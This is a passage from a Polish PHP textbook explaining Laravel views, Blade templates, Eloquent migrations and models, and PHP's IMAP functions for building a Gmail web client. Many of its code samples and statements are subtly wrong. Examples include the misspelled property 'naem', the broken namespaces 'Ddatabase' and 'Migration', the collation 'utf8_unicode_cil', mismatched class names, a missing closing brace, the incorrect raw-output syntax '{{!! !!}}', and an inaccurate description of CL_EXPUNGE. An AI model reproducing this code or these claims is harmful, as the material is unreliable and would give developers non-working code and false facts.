(takich jak kod HTML) z wykorzystaniem danych pobranych z żądania lub wyliczonych przez
kontroler.

We frameworku Laravel komponent View jest niezależnym narzędziem, którego można używać
wszędzie do generowania różnych wyników, takich jak kod HTML. Komponent ten jest na przykład
stosowany w komponencie poczty elektronicznej do generowania wiadomości wysyłanych do użyt-
kowników. W swojej najprostszej postaci implementacja widoku może się składać z utworzenia
582 Część V  Tworzenie praktycznych projektów PHP i MySQL

szablonu widoku, a następnie użycia komponentu View do wygenerowania instancji widoku z wyko-
rzystaniem konkretnych wartości zmiennych zastosowanych w tym szablonie. W ramach przykładu
przeanalizujmy poniższy prosty szablon HTML, zapisany w pliku resources/view/welcome.php:
<html>
<head>
<title><?= $pageTitle ?></title>
</head>
<body>Witam, to jest bardzo prosty szablon.</body>
</html>

Aby wygenerować taki widok jako łańcuch znaków, wystarczy skorzystać z funkcji pomocniczej
view(), podając jako pierwszy argument wywołania nazwę widoku, a jako drugi tablicę par
klucz-wartość, reprezentującą dane, które należy udostępnić w widoku:
<?php

Route::get('/', function() {
return view('welcome', ['pageTitle' => 'Witamy w świecie widoków!']);
});
?>

Warto zwrócić uwagę na to, że nazwa widoku jest w zasadzie nazwą pliku przechowywanego
w katalogu resources/views, z której usunięto rozszerzenie .php. Szablony widoków są zazwy-
czaj zorganizowane w jakiś logiczny sposób i umieszczone w strukturze katalogów rozpoczynają-
cej się od nadrzędnego katalogu resources/views. Jedną z klasycznych technik organizacji jest
zapisywanie widoków w katalogach odpowiadających kontrolerom, w których widoki te są
używane. W takim przypadku, by określić podkatalog zawierający widok, wystarczy posłużyć
się prostą notacją z kropką. Poniższy przykład pokazuje, jak można się odwołać do szablonu
widoku zapisanego w pliku resources/views/mycontroller/index.php:
<?php

Route::get('/', function() {
return view('mycontroller.index', ['jakas_zmienna' => 'wartość zmiennej']);
});
?>

Typowy projekt widoków przewiduje, że mają one dostęp wyłącznie do tych danych, które
zostały do nich przekazane przy użyciu funkcji pomocniczej view(). Niemniej jednak istnieje
także możliwość tworzenia „zmiennych globalnych”, które będą domyślnie dostępne
we wszystkich widokach. Można to zrobić, używając następującego wywołania:
view()->share('klucz', 'wartość');

Aby zagwarantować, że te „zmienne globalne widoków” faktycznie będą dostępne we


wszystkich widokach, kod odpowiadający za ich ustawienie należy umieścić na przykład
w jakimś dostawcy usług aplikacji (zazwyczaj jest to metoda boot()). Więcej informacji
na ten temat można znaleźć w dokumentacji frameworka Laravel, w sekcji poświęconej
współużytkowanym zmiennym widoków (ang. shared view variables).

Widoki Blade
Opcjonalnym, ale bardzo użytecznym elementem widoków we frameworku Laravel jest wyko-
rzystanie mechanizmu obsługi widoków, noszącego nazwę Blade. Choć w zasadzie w Laravelu
w szablonach widoków można stosować zwyczajny kod PHP, to jednak mechanizm Blade udo-
stępnia wiele potężnych możliwości organizacyjnych, pozwalających na tworzenie szablonów
w logiczny sposób bez konieczności stosowania w nich rozbudowanej logiki. Warto zauważyć,
że szablon Blade może zawierać zwyczajny kod PHP, tak jak dowolny inny szablon widoku.
Jednak zastosowanie mechanizmu Blade daje dwie podstawowe korzyści: dziedziczenie sza-
blonów oraz definiowanie sekcji; obie zostaną opisane poniżej.
Rozdział 28.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela 583

Szablony Blade są tworzone tak samo jak każdy inny widok, z tą różnicą, że należy zapisywać
je w plikach z rozszerzeniem .blade.php, a nie .php. W ramach prezentacji sposobu działania
szablonów Blade przeanalizujemy problem powszechnie występujący w aplikacjach interneto-
wych — konieczność zapewnienia spójnego wyglądu wszystkim stronom aplikacji.

W przypadku wykorzystania do tego celu zwyczajnych szablonów PHP konieczne byłoby


wielokrotne wywoływanie funkcji view() (bądź też instrukcji include) do wczytywania róż-
nych elementów stron. Natomiast w przypadku użycia szablonów Blade możemy zdefiniować
jedynie układy wysokiego poziomu, a w nich sekcje, które w razie potrzeby można nadpisywać
lub rozszerzać w widokach pochodnych. W ramach przykładu zdefiniujmy prosty układ
HTML, który zostanie zapisany w pliku resources/views/layout.blade.php:
<html>
<head>
<title>@yield('title')</title>
@section('stylesheets')
<link href="/sciezka/do/stylesheet.css" rel="stylesheet"/>
@show
</head>
<body>
<div class="container">
@section('sidebar')
<div class="col-and-4"›
<!-- zawartość paska bocznego -->
</div>
@show

@yield('content')
</body>
</html>

W powyższym przykładzie przedstawione zostały dwie podstawowe dyrektywy: @yield, wyświe-


tlająca treść skojarzoną z podanym identyfikatorem, oraz @section, pozwalająca definiować
sekcje układu, które następnie można rozszerzać lub zastępować. Taki układ jak ten zaprezento-
wany powyżej nigdy nie jest używany bezpośrednio do generowania widoków. Zamiast tego
w generowanym widoku należy zaznaczyć, że rozszerza on określony układ i definiuje wymagane
wartości oraz sekcje. W ramach przykładu przyjrzyjmy się następującemu szablonowi (zapisanemu
w pliku resources/views/welcome.blade.php), który rozszerza układ przedstawiony powyżej:
@extends('layout')

@yield('title', 'Tytuł mojej strony')

@section('stylesheets')
@parent
<link href="/sciezka/do/inne/stylesheet.css" rel="stylesheet"/>
@stop

@section('sidebar')
<div class="col-and-4"›
<ul>
<li><a href="/">Strona główna</a></li>
<li><a href="/account">Moje konto</a></li>
</ul>
</div>
@stop

@section('content')
Witaj, świecie!
@stop
584 Część V  Tworzenie praktycznych projektów PHP i MySQL

Podobnie jak we wcześniejszych przykładach, ten szablon Blade, resources/views/welcome.blad.php,


zostałby podany w wywołaniu funkcji view() w kontrolerze. Ponieważ zastosowana została
dyrektywa @extends, wiadomo, że jest to szablon pochodny, dziedziczący po szablonie resources/
views/layout.blade.php. Oznacza to, że po wyświetleniu nasz szablon pochodny będzie dyspo-
nował całą zawartością szablonu bazowego (layout.blade.php), przy czym sekcje i dyrektywy
@yield użyte w tym szablonie bazowym zostaną zastąpione wartościami podanymi w szablonie
pochodnym (takimi jak tytuł strony). Jednak na przykład w przypadku sekcji 'stylesheets' nie
chcemy, by została ona zastąpiona w całości, lecz raczej chcemy dodać do niej kod niezbędny
na generowanej stronie. Właśnie w tym celu w sekcji została użyta kolejna dyrektywa Blade —
@parent — która wstrzykuje zawartość sekcji z szablonu bazowego, a następnie dodaje do niej
zawartość zdefiniowaną w danym szablonie. Ponieważ nie chcemy, by sekcje te były generowane
od razu (a jedynie zastąpiły zawartość sekcji z szablonu bazowego, layout.blade.php), na końcu
każdej z nich zamiast dyrektywy @show została użyta dyrektywa @stop.

Warto jeszcze wyjaśnić, jak wykorzystywane są zmienne przekazywane do szablonów Blade


z kontrolerów. Jak już pokazano wcześniej, do wyświetlenia zmiennej w szablonie zawsze można
użyć zwyczajnego kodu PHP. Niemniej jednak zalecanym rozwiązaniem jest zastosowanie
składni charakterystycznej dla mechanizmu Blade; składa się ona z pary nawiasów klamrowych
{{ umieszczanych przed zmienną oraz z pary nawiasów }} umieszczanych za zmienną. Oto przykład:
Witam, {{ $name }}! Jak widzisz, używamy tu szablonów Blade!

Domyślnie wykorzystanie składni {{ }} spowoduje automatyczne zabezpieczenie wartości, tak


by można ją było bezpiecznie wyświetlić w dokumencie HTML (używana jest do tego funkcja PHP
htmlentities()). Jeśli jednak konieczne jest wyświetlenie wartości zmiennej w dosłownej, nie-
przetworzonej postaci, to można to zrobić przy wykorzystaniu nieco innego zapisu — {{!! !!}}
— przedstawionego w poniższym przykładzie:
Witam, {{!! $name !!}}! Twoje imię nie zostało zabezpieczone, więc potencjalnie może posłużyć
do przeprowadzenia ataku XSS!

To tylko wybrane możliwości komponentu View frameworka Laravel oraz mechanizmu generacji
widoków Blade. Niemniej jednak te podstawowe informacje w zupełności wystarczą do napisania
internetowego klienta poczty elektronicznej. Jeśli Czytelnik chciałby dowiedzieć się czegoś
więcej na temat widoków we frameworku Laravel, to powinien zajrzeć do jego dokumentacji.

Modele we frameworku Laravel


Żadnej dyskusji na temat wzorca MVC nie można by uznać za zakończoną, gdyby nie prezento-
wała modeli czy też warstwy danych wzorca. W aplikacjach internetowych rolę komponentów
modelu wzorca MVC odgrywają obiekty, które posiadają możliwość pobierania danych
i przechowywania ich w sobie danych i niekoniecznie wyróżniają się jakimiś innymi szczegól-
nymi cechami. W przypadku frameworka Laravel do implementacji modeli stosuje się prze-
ważnie tak zwany Eloquent — solidną implementację kolejnego wzorca projektowego o nazwie
Object-Realational-Mapping (mapowanie obiektowo-relacyjne, określane zazwyczaj jako ORM).

Mechanizmy typu ORM są zwykle najbardziej złożonym kodem, który można znaleźć we frame-
workach, niemniej jednak ich przeznaczenie jest całkiem proste. Chodzi o to, żeby zamiast stoso-
wać w aplikacji zapytania SQL do zapisywania i pobierania informacji z baz danych, framework
generował te zapytania automatycznie, a nam, programistom, pozwalał na wchodzenie w interakcje
z bazą danych w sposób obiektowy.
Rozdział 28.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela 585

Aby rozpocząć korzystanie z modeli Eloquent, w pierwszej kolejności musimy mieć bazę danych
(my zastosujemy bazę danych MySQL) oraz prawidłowo skonfigurowane połączenie z tą bazą
w aplikacji Laravel. Ustawienia konfiguracyjne tego połączenia można znaleźć w pliku config/
database.php w aplikacji, w elemencie o kluczu 'connection'. Poniżej przedstawiony został
przykład prawidłowo skonfigurowanego połączenia z serwerem MySQL działającym na lokalnym
komputerze:
...
'connections' => [
'mysql' => [
'driver' => 'mysql',
'host' => env('DB_HOST', 'localhost'),
'database' => env('DB_DATABASE', 'chap29'),
'username' => env('DB_USERNAME', 'myuser'),
'password' => env('DB PASSWORD', 'mypass'),
'charset' => 'UTF-8',
'collation' => 'utf8_unicode_cil',
'prefix' => '',
'strict' => false
]
]
...

W powyższym przykładzie warto zwrócić uwagę na zastosowanie funkcji pomocniczej env(),


zapewniającej możliwość przesłaniania ustawień, takich jak nazwa użytkownika bazy danych oraz
jego hasło, przy użyciu zmiennych środowiskowych. Tablica 'connections' może zawierać
dowolnie wiele odwołań do różnych baz danych, a ich klucz (w tym przypadku jest to 'mysql',
który nie jest bynajmniej tym samym co wartość klucza 'driver') może mieć dowolną postać.
W sytuacjach, w których definiowanych jest więcej połączeń z bazami danych, konieczne jest okre-
ślenie połączenia domyślnego (proszę poszukać klucza 'default' w pliku config/database.php).

Skoro połączenie z bazą danych zostało już skonfigurowane, to możemy zająć się sposobem
tworzenia modeli Eloquent, które będą go używały. Na potrzeby tego przykładu załóżmy, że
dysponujemy bazą danych MySQL składającą się z dwóch tabel: książek i autorów. Konkretne
kolumny dostępne w tych tabelach nie mają większego znaczenia dla naszych rozważań; należy
tylko wiedzieć, że pomiędzy tabelą autorów i tabelą książek istnieje relacja 1–N. Oznacza to, że
jedna z kolumn tabeli książek musi zawierać klucz obcy wskazujący jeden z wierszy tabeli autorów.

We frameworku Laravel tworzenie takiej definicji schematu bazy danych odbywa się przy użyciu
procedury migracji bazy danych. Procedura ta rozpoczyna się od utworzenia klasy migracji
przy wykorzystaniu wydawanego z poziomu okna konsoli polecenia artisan, takiego jak to
przedstawione poniżej:
$ php artisan migrate:make create_author_and_books_schema

Wykonanie tego polecenia spowoduje utworzenie w katalogu app/database/migrations nowego


skryptu PHP, dodatkowo opatrzonego znacznikiem czasu. Otwierając ten skrypt, przekonamy
się, że zawiera on klasę dziedziczącą po Illuminate\Database\Migrations\Migration i implementu-
jącą dwie metody: up() oraz down(). Metody te są wywoływane, odpowiednio, podczas stoso-
wania i odtwarzania danej migracji i powinny zawierać całą logikę niezbędną do wykonania
tych operacji. W procesie migracji bazy danych zazwyczaj używana jest klasa Schema frameworka
Laravel, implementująca niezbędne narzędzia pozwalające na tworzenie, modyfikację i usuwanie
tabel bazy danych oraz wprowadzanie w nich wszelkich innych modyfikacji. Poniżej przedsta-
wiony został prosty przykład klasy migracji, która tworzy opisany wcześniej schemat bazy danych:
use Illuminate\Ddatabase\Schema\Blueprint;
use Illuminate\Ddatabase\Migration\Migration;
586 Część V  Tworzenie praktycznych projektów PHP i MySQL

class CreateAutorAndBookSchema extends Migration


{
public function up()
{
Schema::create('authors', function(Blueprint $table) {
$table->increments('id');
$table->string('name');
$table->string('email');
$table->timestamps();
});

Schema::create('books', function(Blueprint $table) {


$table->increments('id');
$table->integer('author_id')->unsigned();
$table->string('title');
$table->timestamps();

$table->foreign('author_id')
->references('id')
->on('authors')
->onDelete('cascade');
});
}

public function down()


{
Schema::drop('books');
Schema::drop('authors');
}
}

Analizując kod klasy CreateAuthorAndBookSchema, można zauważyć, że w metodzie up() używamy


metody Schema::create() do utworzenia dwóch tabel: 'authors' oraz 'books'. Do każdego wywo-
łania metody Schema::create() jako drugi parametr przekazywane jest domknięcie, do którego
przekazywana jest instancja klasy Blueprint, której z kolei można używać do określania
wszelkich szczegółowych informacji na temat tabeli, takich jak jej kolumny lub klucze obce. Jedną
z rzeczy, na które warto zwrócić uwagę, jest wywołanie w każdym z użytych domknięć wywołania
Blueprint::timestamps(); automatycznie tworzy ono w tabeli dwie kolumny: 'created_at'
oraz 'updated_at'. Zostały one zastosowane dlatego, że podczas korzystania z modelu Eloquent
w Laravelu framework automatycznie dodaje i aktualizuje te pola w trakcie dodawania i aktuali-
zacji rekordów. Pola te są stosowane przez Eloquent w celach pomocniczych, a ponieważ bardzo
rzadko rezygnuje się z ich stosowania, dodaliśmy je także do naszego przykładowego schematu.

Po utworzeniu schematu migracji można go użyć, wydając kolejne polecenie — artisan:


$ php artisan migrate

Polecenie to spowoduje przejrzenie zawartości katalogu app/database/migrations, wyszukanie


w nim wszelkich migracji, które nie zostały jeszcze zastosowane, i wykonanie ich w takiej kolejno-
ści, w jakiej zostały zdefiniowane. Po utworzeniu niezbędnego schematu bazy danych można się
zająć tworzeniem klas, które przy użyciu mechanizmu Eloquent będą pośredniczyły w wykonywa-
niu operacji na tym schemacie.

Wszystkie te odwzorowania obiektowo-relacyjne mają jeden cel: zagwarantowanie prostoty


operacji na bazie danych. A zatem tworzenie modeli Eloquent zapewniających dostęp do bazy
danych spełnia te założenia. Miejsce przechowywania klas modeli w strukturze katalogów aplikacji
Laravel zależy od jej twórcy, niemniej jednak w większości przypadków jest do tego wykorzy-
stywany katalog app/Models. Załóżmy zatem, że to właśnie tego katalogu będziemy używać.
Rozdział 28.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela 587

Poniżej został przedstawiony kod klasy ORM o nazwie Authors, zapisany w pliku app/Models/
Authors.php:
<?php

namespace App\Models;

class Author extends \Eloquent


{

?>

Choć może to być sporym zaskoczeniem, to jednak naprawdę wszystko, czego potrzeba, by
uzyskać podstawowy dostęp do tabeli 'authors' na serwerze MySQL. Eloquent automatycznie
określi nazwę tabeli na podstawie nazwy klasy (będzie to liczba mnoga od słowa 'author', zapisana
małymi literami) i przyjmie, że do schematu można się odwołać przy użyciu domyślnego połą-
czenia z bazą danych. Dysponując tą klasą, można już w bardzo prosty sposób wstawiać dane
do tabeli:
$myModel = new Author();
$myModel->naem = 'John Coggeshall';
$myModel->save();

Wykonywanie innych operacji, takich jak odczytywanie rekordów czy też ich aktualizacja, jest
zazwyczaj równie łatwe, o czym będzie się można przekonać w dalszej części rozdziału.

Jednak elementami, które nie są zdefiniowane w mechanizmie Eloquent, są druga z tabel w naszym
schemacie, 'books', oraz związek pomiędzy tabelą książek a tabelą autorów. Aby uzupełnić te
braki, musimy zdefiniować drugą klasę Eloquent, o nazwie Book, bardzo podobną do klasy Author:
<?php
namespace App\Models;

class Book extends \Eloquent


{
}
?>

Po utworzeniu obu tych klas możemy zacząć definiować związek pomiędzy nimi, reprezentujący
relację pomiędzy obiema tabelami bazy danych. W tym celu w każdej z tych klas należy utworzyć
metodę o nazwie odpowiadającej nazwie drugiej klasy i zwracającą obiekt zależności. W rozpatry-
wanym przypadku pomiędzy tabelą autorów i tabelą książek występuje relacja jeden-do-wielu,
a zatem w klasie Author należy utworzyć metodę books(), która zwróci obiekt zależności, a w klasie
Book — metodę zwracającą obiekt zależności. Kody obu tych metod zostały przedstawione poniżej.

Plik app/Models/Author.php
<?php
namespace App\Models;

class Author extends \Eloquent


{
public function books()
{
return $this->hasMany('Book');
}
}
?>
588 Część V  Tworzenie praktycznych projektów PHP i MySQL

Plik app/Models/Book.php
<?php
namespace App\Models;

class Book extends \Eloquent


{
public function author()
{
return $this->belongsTo('Author');
}
}
?>

Operacje CRUD w mechanizmie Eloquent


Po zdefiniowaniu klas modeli Eloquent można ich już używać do wchodzenia w interakcje z bazą
danych. Istnieje wiele opcji składniowych oraz sposobów wykorzystywania mechanizmu Eloquent,
a w tej części rozdziału przedstawionych zostanie kilka najbardziej przydatnych z nich.

Jak pokazano w jednym z wcześniejszych przykładów, tworzenie rekordu bazy danych przy wyko-
rzystaniu modeli Eloquent jest banalne i sprowadza się do utworzenia instancji danej klasy, zapi-
sania odpowiednich danych w jej polach i wywołania metody save(). Dokładnie to samo dotyczy
aktualizacji już istniejących rekordów; w zasadzie — z punktu widzenia mechanizmu Eloquent
— jedyna różnica pomiędzy operacją dodania i operacją aktualizacji sprowadza się do tego,
czy klucz główny rekordu jest określony, czy nie. Jeśli pole klucza głównego ma wartość null,
to Eloquent przyjmuje, że wykonywana jest operacja wstawienia (utworzenia) rekordu; jeżeli z kolei
pole klucza głównego ma wartość inną niż null, to Eloquent przyjmuje, że wykonywana jest
operacja aktualizacji:
<?php

$myModel = new \App\Models\Author();


$myModel->naem = 'John Coggeshall';
$myModel->save(); // wstawiamy nowy wiersz

$myModel = new \App\Models\Author();


$myModel->id = 2;
$myModel->name = "Diana Coggeshall";
$myModel->save(); // zamiast wstawiania zostanie wykonana aktualizacja rekordu z id = 2

W przeważającej większości przypadków pobieranie danych z bazy przy wykorzystaniu klas


modeli Eloquent jest równie łatwe, gdyż dziedziczą one wiele narzędzi do zadawania zapytań
i pobierania danych. Na przykład metoda all() zwraca wszystkie wiersze z tabeli:
<?php

$authors = \App\Models\Author::all();

foreach($authors as $author) {
print "Personalia autora to: {$author->name}.";
}
?>

Przyjrzyjmy się teraz różnym możliwościom zadawania zapytań udostępnianych przez Eloquent.
W metodach przedstawionych na poniższej liście została zastosowana ogólna klasa modelu Eloquent
— Model — którą należy zastąpić konkretną klasą. Trzeba pamiętać, że poniższa lista nie obejmuje
wszystkich metod dostępnych w klasach modeli Eloquent — te można znaleźć w dokumentacji API
frameworka Laravel.
Rozdział 28.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela 589

 Model::find($klucz) — zwraca instancję rekordu na podstawie przekazanej wartości


klucza głównego.
 Model::where($kolumna, $porownanie, $wartosc) — zwraca jeden lub więcej rekordów
spełniających zadane kryteria (na przykład Model::where('name', '=', 'John')).
 Model::whereNull($kolumna) — zwraca rekordy, w których kolumna $kolumna ma
wartość null.
 Model::whereRaw($warunek, $powiazania) — wykonuje nieprzetwarzane zapytania
warunkowe (są to złożone zapytania, których nie można wygenerować przy użyciu
innych metod modeli Eloquent), przekazując przy tym wartości, które mają być
zastosowane w tym warunku.
 Model::all() — zwraca wszystkie rekordy.

Z wyjątkiem metod Model::all() oraz Model::find() Eloquent zazwyczaj rozróżnia operacje


utworzenia zapytania oraz jego wykonania. Na przykład wywołanie samej metody where() nie
zwróci żadnych informacji pobranych z bazy danych. Rozwiązanie to zastosowano celowo, aby
można było połączyć ze sobą więcej warunków w jednym zapytaniu, a dopiero potem je wykonać.
Żeby wykonać skonstruowane zapytanie i pobrać jego wyniki, należy wywołać metodę get()
(która zwraca wiele wyników) lub metodę first() (która zwraca jeden wynik). Poniżej przedsta-
wiony został przykład ich wykorzystania:
<?php
$query = Author::where('name', 'LIKE', '%ohn%')
->where('name', 'LIKE', '%oggeshall%');

// pobranie wszystkich wyników


$results = $query->get();

// pobranie tylko pierwszego wyniku


$result = $query->first();
?>

Często pojawia się konieczność wykonywania zapytań z użyciem zależności pomiędzy poszczegól-
nymi modelami Eloquent. Przedstawienie pełnych możliwości funkcjonalnych związanych z tym
zagadnieniem wykracza poza ramy tematyczne tego rozdziału, wspomnimy jednak, że w zasadzie
można to wykonać tego typu zapytania całkiem łatwo, wywołując zależność jako metodę, a następ-
nie używając tych samych metod zapytań, które zostały przedstawione powyżej. W takich przypad-
kach Eloquent automatycznie doda do zapytania niezbędne zależności:
<?
$author = Author::find(1); // zakładamy, że ten wiersz istnieje

$PHPBooks = $author->books()->where('title', 'LIKE', '%PHP%')->get();


?>

Kilka końcowych przemyśleń na temat frameworka Laravel


Mamy nadzieję, że ten rozdział dobrze się sprawdził jako wprowadzenie dotyczące sposobu działa-
nia głównych komponentów frameworka Laravel. Prawdę mówiąc, Laravel jest na tyle złożonym
zagadnieniem, że można by mu poświęcić osobną książkę; niemniej jednak pojęcia i narzędzia
przedstawione w tym rozdziale powinny w zupełności wystarczyć do naszych celów.

Jak już wspominaliśmy wcześniej w tym rozdziale, dostępna jest rozbudowana dokumentacja
internetowa związana z Laravelem. Gorąco zachęcamy do tego, by podczas tworzenia własnych
aplikacji korzystać z niej w celu poszerzania swojej wiedzy. Dokumentację tę można znaleźć na
stronie https://laravel.com/docs/5.3.
590 Część V  Tworzenie praktycznych projektów PHP i MySQL
Rozdział 29.
Tworzenie internetowego
klienta poczty elektronicznej
z użyciem Laravela
— część 2.
Skoro zaprezentowaliśmy już podstawowe pojęcia i komponenty frameworka Laravel, możemy
przejść do opisu stosowania ich w praktyce. W ramach projektu, który zostanie przedstawiony
w tym rozdziale, połączymy informacje o frameworku Laravel z możliwościami funkcjonalnymi
obsługi protokołu IMAP udostępnianymi przez PHP i stworzymy prostego, internetowego klienta
poczty elektronicznej.

Oto kluczowe zagadnienia, które zostaną opisane w tym rozdziale:


 Podstawowe funkcje PHP służące do korzystania z protokołu IMAP, włącznie z ich
obiektowym interfejsem.
 Projekt oraz implementacja prostej aplikacji Laravel 5 pozwalającej na odczyt
i tworzenie wiadomości poczty elektronicznej oraz odpowiadanie na nie z poziomu
przeglądarki internetowej.

Tworzenie prostego klienta IMAP


przy użyciu Laravela
Dla uproszczenia zagadnienia stworzymy klienta poczty elektronicznej, który współpracuje z usługą
Gmail firmy Google (czyli w zasadzie będziemy powielać fragment możliwości internetowego
interfejsu Gmaila).

Funkcje IMAP udostępniane przez PHP


IMAP — Internet Message Access Protocol (czyli protokół dostępu do wiadomości internetowych)
— jest obecnie powszechnie używanym standardem dostępu do wiadomości poczty elektro-
nicznej przechowywanej na serwerach. W odróżnieniu od innych protokołów, takich jak POP3
(który zazwyczaj przechowuje wiadomości tylko tymczasowo, do momentu, gdy użytkownik je
592 Część V  Tworzenie praktycznych projektów PHP i MySQL

pobierze), IMAP został zaprojektowany z myślą o zapewnieniu możliwości przechowywania


wiadomości i zarządzania nimi na samym serwerze oraz zagwarantowania dostępu do nich
upoważnionym użytkownikom.

W języku PHP dostęp do serwerów IMAP zapewnia rozszerzenie PHP IMAP — niezwykle solidny
zestaw narzędzi operujących na stosunkowo niskim poziomie, pozwalających na manipulowa-
nie pocztą elektroniczną i korzystanie z niej przy użyciu protokołu IMAP. Nie wszystkie możliwości
funkcjonalne udostępniane przez to rozszerzenie są potrzebne do napisania prostego klienta poczty
elektronicznej, który mamy zamiar zaimplementować w ramach tego projektu; skoncentrujemy
się więc tutaj wyłącznie na tych, z których będziemy korzystać.

Podobnie jak wiele starszych rozszerzeń PHP, także funkcje IMAP działają głównie w oparciu
o zasoby. W swojej najprostszej postaci połączenie z serwerem IMAP jest otwierane przy uży-
ciu funkcji imap_open(), która zwraca zasób PHP reprezentujący to polecenie. Zasób ten jest
następnie wykorzystywany w kolejnych interakcjach z serwerem, przy czym zazwyczaj jest
przekazywany jako pierwszy parametr funkcji.

Otwieranie połączenia z serwerem IMAP


Prezentację sposobu nawiązywania połączenia z serwerem IMAP należy zacząć od przedstawienia
deklaracji funkcji imap_open():
resource imap_open(string $mailbox_spec, string $username, string $password [, int $options = 0
[, int $n_retries = 0 [, array $params = null ]]]);

W powyższej deklaracji parametr $mailbox_spec jest specjalnie przygotowanym łańcuchem


znaków określającym serwer IMAP (jak również skrzynkę pocztową na tym serwerze), z któ-
rym chcemy nawiązać połączenie. Zostanie on dokładniej opisany w dalszej części tego podpunktu.
Parametry $username oraz $password określają, odpowiednio, nazwę użytkownika oraz jego hasło
dostępu. Opcjonalny parametr $options jest mapą bitową określającą różne opcje, które należy
zastosować w tym połączeniu, i może stanowić dowolną kombinację poniższych wartości:
 OP_READONLY — otwiera skrzynkę pocztową w trybie pozwalającym na wykonywanie
jedynie operacji odczytu.
 OP_HALFOPEN — nawiązuje jedynie połączenie z serwerem, lecz nie przygotowuje dostępu
do konkretnej skrzynki pocztowej.
 CL_EXPUNGE — po zakończeniu połączenia wskazana skrzynka pocztowa zostanie usunięta.
 OP_DEBUG — umożliwia debugowanie operacji negocjowania wykonywanych przez
protokół.
 OP_SHORTCACHE — ogranicza przechowywanie wiadomości w pamięci podręcznej.
 OP_SECURE — nawiązuje połączenie z serwerem IMAP wyłącznie z wykorzystaniem
bezpiecznej wersji uwierzytelniania.

Choć w dokumentacji PHP nie ma o nich wzmianki, dostępne są jednak także inne stałe, których
można używać w tej masce bitowej; zostały one tu jednak pominięte, gdyż albo nie są przydatne
dla programistów, albo są przeznaczone wyłącznie dla twórców rozszerzeń.

Drugi z opcjonalnych parametrów funkcji imap_open(), $n_retires, jest liczbą całkowitą opisują-
cą, ile razy funkcja ma próbować nawiązać połączenie, zanim zgłosi błąd; w końcu ostatni parametr,
$params, to tablica par klucz-wartość, pozwalająca na ustawienie dodatkowych opcji. W czasie
gdy powstawała ta książka, parametru tego można było użyć do przekazania tylko jednej opcji,
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 593

DISABLE_AUTHENITCATOR, której ustawienie pozwala na wyłączenie właściwości związanych


z uwierzytelnianiem (dodatkowych informacji na ten temat należy szukać w dokumentacji
funkcji IMAP dostępnych w PHP).

Wróćmy jednak do najważniejszego z parametrów funkcji imap_open(), czyli $mailbox_spec,


oraz opisu jego działania. Idea tego parametru przypomina nieco ideę DNS, opisaną wcześniej
przy okazji przedstawiania rozszerzenia PDO, z tym że tym razem zamiast określać połączenie
z bazą danych, parametr określa serwer IMAP wraz z dostępną na nim skrzynką pocztową.
Ogólnie rzecz biorąc, składnia tego łańcucha połączenia ma następującą postać:
"{" serwer [":"port][flagi] "}" [skrzynka_pocztowa]

A oto konkretny przykład:


{imap.gmail.com:993/imap/ssl}/INBOX

Wszystkie flagi są określane w formie ścieżki w definicji serwera i w tej postaci można je dowolnie
łączyć. Jedną z dostępnych flag jest /novalidate-cert, która informuje o tym, że nie należy weryfi-
kować certyfikatów bezpieczeństwa w przypadku nawiązywania połączeń TLS/SSL (co byłoby
potrzebne w przypadku stosowania samodzielnie podpisanych certyfikatów serwera). Powyższy
łańcuch połączenia korzystający z tej flagi miałby następującą postać:
{imap.gmail.com:993/imap/ssl/novalidate-cert}/INBOX

Kompletny wykaz flag połączeń IMAP wraz z ich znaczeniem można znaleźć w dokumentacji
PHP dostępnej na stronie poświęconej funkcji imap_open().

IMAP i skrzynki pocztowe


W protokole IMAP poczta elektroniczna jest zorganizowana w folderach, które w terminologii
IMAP są nazywane skrzynkami pocztowymi (ang. mailbox). Zapewnia to użytkownikom oczywistą
korzyść: pozwala na organizowanie wiadomości; my w naszej prostej aplikacji skorzystamy z tej
możliwości, by pozwolić użytkownikowi przełączać się pomiędzy różnymi skrzynkami pocztowy-
mi. Pierwszym krokiem, jaki należy w tym celu wykonać, jest pobranie wszystkich skrzynek
pocztowych dostępnych dla użytkownika, co można zrobić przy użyciu funkcji imap_list():
array imap_list(resource $resource, string $server_ref, string $search_pattern);

Pierwszym parametrem funkcji imap_list() jest, zgodnie z oczekiwaniami, zasób serwera zwrócony
przez funkcję imap_open(). Drugim parametrem jest odwołanie do serwera, które zazwyczaj ma
taką samą postać jak parametr $mailbox_spec funkcji imap_open() (bez podawania fragmentu
określającego skrzynkę pocztową). I w końcu ostatni parametr, $search_pattern, pozwala na okre-
ślenie konkretnej części hierarchii skrzynek pocztowych, do której ma należeć pobierana lista.

Wzorzec określany przez parametr $search_pattern może stanowić ścieżkę konkretnej skrzynki
pocztowej; zapewnia on obsługę dwóch szczególnych przypadków wyszukiwania. Pierwszym z nich
jest zastosowanie wzorca o postaci '*', który zwraca wyłącznie bieżące skrzynki pocztowe dostępne
w określonej ścieżce. Poniżej przedstawiony został przykład wykorzystania tej funkcji:
<?php
// zwraca listę wszystkich skrzynek
$mailboxes = imap_list($resource, '{imap.google.com:993/imap/ssl}', '*');

// zwraca wyłącznie skrzynki dostępne w ścieżce 'Archive' (bez skrzynek umieszczonych


// wewnątrz nich)
$archives = imap_list($resource, '{imap.google.com:993/imap/ssl}', 'Archive/%');
?>
594 Część V  Tworzenie praktycznych projektów PHP i MySQL

Zanim będzie można pobrać listę wiadomości, trzeba będzie przejść do odpowiedniej skrzynki
pocztowej. Choć jest to dość dziwne, to jednak w rozszerzeniu IMAP PHP nie ma żadnej
oczywistej funkcji, która intuicyjnie mogłaby zostać wykorzystana do tego celu. Okazuje się, że
do zmiany skrzynki pocztowej należy użyć funkcji imap_reopen(), która „ponownie otwiera”
połączenie w kontekście nowej skrzynki pocztowej:
bool imap_reopen(resource $resource, string $new_mailbox_ref [, int $options [, int $n_retries]])

Podobnie jak wcześniej, także w tym przypadku parametr $resource jest zasobem zwróconym
przez początkowe wywołanie funkcji imap_open(). Drugi parametr, $new_mailbox_ref, jest łańcu-
chem znaków zapisanym w takim samym formacie jak parametr $mailbox_ref funkcji imap_open(),
choć odwołuje się do skrzynki pocztowej, do której chcemy przejść. Ostatnie dwa parametry,
$options oraz $n_retries, mają dokładnie takie samo przeznaczenie jak funkcja imap_open().

A zatem zmiany skrzynki pocztowej 'INBOX' na 'Archive' na serwerze IMAP należałoby dokonać
w następujący sposób:
<?php
